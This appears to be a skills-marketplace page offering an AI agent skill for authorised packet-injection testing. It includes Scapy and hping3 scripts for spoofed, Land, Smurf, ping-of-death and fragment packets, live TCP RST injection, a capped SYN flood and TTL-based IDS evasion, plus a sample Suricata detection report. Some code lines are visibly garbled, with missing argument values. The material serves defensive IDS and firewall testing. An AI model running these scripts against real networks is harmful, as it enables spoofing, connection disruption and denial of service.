القائمة
在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包， 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-packet-injection-attackيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型，检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于：当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具（iodine、dnscat2、DNSExfiltrator）的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型，通过 IAP、Access Context Manager 和 Chrome Enterprise Premium，消除网络边界的隐式信任，强制执行基于身份的访问控制，实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中，使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本（XSS）漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS，验证自动化扫描器报告的 XSS 发现，以及评估 CSP 和 XSS 过滤器的有效性时使用。
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | performing-packet-injection-attack |
| description | 在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包， 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。 |
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","packet-injection","scapy","hping3","protocol-testing"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
不要用于针对生产系统的拒绝服务攻击、伪造流量以陷害第三方，或在未获明确授权的目标网络上使用。
#!/usr/bin/env python3
"""使用 Scapy 进行授权测试的基本数据包注入示例。"""
from scapy.all import *
# TCP SYN 数据包（端口扫描模拟）
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] 80 端口开放（收到 SYN-ACK）")
elif response[TCP].flags == "RA":
print(f"[*] 80 端口关闭（收到 RST-ACK）")
# TCP XMAS 扫描数据包（所有标志位置位）
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS 数据包已发送（应触发 IDS）")
# NULL 扫描数据包（无标志位）
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL 数据包已发送")
# 带自定义载荷的 ICMP 数据包
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] 自定义 ICMP 数据包已发送")
# 用于测试防火墙规则的 UDP 数据包
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=, qd=DNSQR(qname=))
response = sr1(udp_test, timeout=, verbose=)
response:
()
#!/usr/bin/env python3
"""使用伪造源 IP 数据包测试反欺骗控制。"""
from scapy.all import *
# 伪造源 IP（应被 BCP38/uRPF 拦截）
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] 已发送源地址伪造为 192.0.2.100 的 SYN 包")
# Land 攻击测试（源地址 = 目标地址）
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land 攻击数据包已发送（src==dst）")
# Smurf 攻击测试（带伪造源的 ICMP 广播包）
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf 测试数据包已发送（ICMP 广播包）")
# IP 分片重叠测试
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # 重叠分片
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] 重叠 IP 分片已发送")
# TCP RST 注入测试连接弹性
# 使用 hping3 发送 RST 数据包
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN 泛洪测试（限制数量用于测试，非 DoS）
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# 注意：--flood 以最大速率发送；-c 100 限制为 100 个数据包
# 测试 TCP 窗口操控
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # 零窗口
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # 最大窗口
# 空闲扫描探测
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# 检查响应中的 IP ID 值是否可预测
#!/usr/bin/env python3
"""TCP RST 注入，测试会话弹性。"""
from scapy.all import *
# 嗅探活跃 TCP 连接并注入 RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST 已注入：{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# 嗅探 10 个数据包并尝试 RST 注入
print("[*] 正在监听 TCP ACK 数据包以注入 RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
#!/usr/bin/env python3
"""用于 IDS/防火墙测试的协议异常数据包。"""
from scapy.all import *
target = "10.10.20.10"
# 死亡之 Ping（超大 ICMP，应被拦截）
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] 死亡之 Ping 分片已发送")
# 微型分片攻击（TCP 头部跨分片）
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] 微型分片攻击数据包已发送")
# 无效 TCP 标志位组合
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("仅 FIN（无会话）", "F"),
("所有标志位", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] 已发送无效标志位数据包：{name}")
# 基于 TTL 的规避（数据包在到达 IDS 前过期）
# 假设 IDS 在 2 跳外，目标在 5 跳
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags=)
send(ttl_evade, verbose=)
()
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=, flags=)
send(ip_opts, verbose=)
()
# 检查 Snort/Suricata 是否触发注入数据包的告警
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
python3 -m json.tool | head -50
# 预期 IDS 告警：
# - 检测到 XMAS 扫描（SID：2100330）
# - 检测到 NULL 扫描（SID：2100331）
# - 检测到 Land 攻击
# - 检测到 Smurf 攻击
# - 分片异常
# - 无效 TCP 标志位
# 验证防火墙是否丢弃伪造数据包
sudo iptables -L -n -v | grep -i drop
# 检查分片重组错误
dmesg | grep -i "fragment\|frag"
# 生成测试结果摘要
cat > packet_injection_report.txt << 'EOF'
数据包注入测试结果
==================
日期：$(date)
目标：10.10.20.10
测试人员：安全评估团队
测试 1：TCP XMAS 扫描
IDS 检测：是（Suricata SID 2100330）
防火墙动作：丢弃
测试 2：IP 欺骗（192.0.2.100）
uRPF 拦截：是（边界路由器丢包）
IDS 检测：是（源地址不在 HOME_NET 内）
测试 3：分片重叠
IDS 检测：是（流重组异常）
目标响应：操作系统丢弃分片
测试 4：无效 TCP 标志位
IDS 检测：是（SYN+FIN、SYN+RST 被标记）
防火墙动作：丢弃
EOF
| 术语 | 定义 |
|---|---|
| 数据包注入（Packet Injection） | 构造并发送具有特定头部值、载荷或标志位组合的网络数据包，以测试网络安全控制 |
| IP 欺骗（IP Spoofing） | 在构造数据包中设置虚假源 IP，测试反欺骗控制（BCP38、uRPF）或冒充其他主机 |
| TCP RST 注入（TCP RST Injection） | 发送伪造的 TCP RST 数据包以终止已建立的连接，测试会话弹性和连接重置防御 |
| 分片攻击（Fragmentation Attack） | 利用 IP 分片将恶意载荷拆分到多个分片中，规避不重组分片的数据包检测 |
| uRPF（单播反向路径转发） | 路由器级别的反欺骗机制，若源 IP 无法通过入口接口路由返回则丢弃数据包 |
| BCP38（网络入口过滤） | 通过过滤来自不属于该网络的源地址数据包来防止边界 IP 欺骗的最佳实践 |
背景：SOC 团队部署了用于检测侦察和规避技术的新 Suricata 规则，需要在正式上线前验证规则是否正确触发。测试在复制生产环境的暂存环境中进行。
方法：
注意事项：
## 数据包注入测试报告
**目标**：10.10.20.10（test-server-01）
**IDS 传感器**：suricata-staging-01
**测试日期**：2024-03-15
### 测试矩阵
| 测试 | 数据包类型 | 预期检测 | 实际结果 |
|------|-----------|---------|---------|
| 1 | TCP XMAS 扫描 | SID 2100330 | 已检测 |
| 2 | TCP NULL 扫描 | SID 2100331 | 已检测 |
| 3 | SYN+FIN 无效标志 | SID 2100332 | 已检测 |
| 4 | IP 伪造源 | SID 2003000 | 已检测 |
| 5 | Land 攻击 | SID 2100333 | 未检测 |
| 6 | 分片重叠 | SID 2200001 | 已检测 |
| 7 | 死亡之 Ping | SID 2100334 | 已检测 |
| 8 | TCP RST 注入 | 自定义 SID | 未检测 |
### 检测率：6/8（75%）
### 已识别的差距
1. Land 攻击（src==dst）未被检测 — 添加规则 SID 2100333
2. TCP RST 注入未被检测 — 为窗口外 RST 创建自定义规则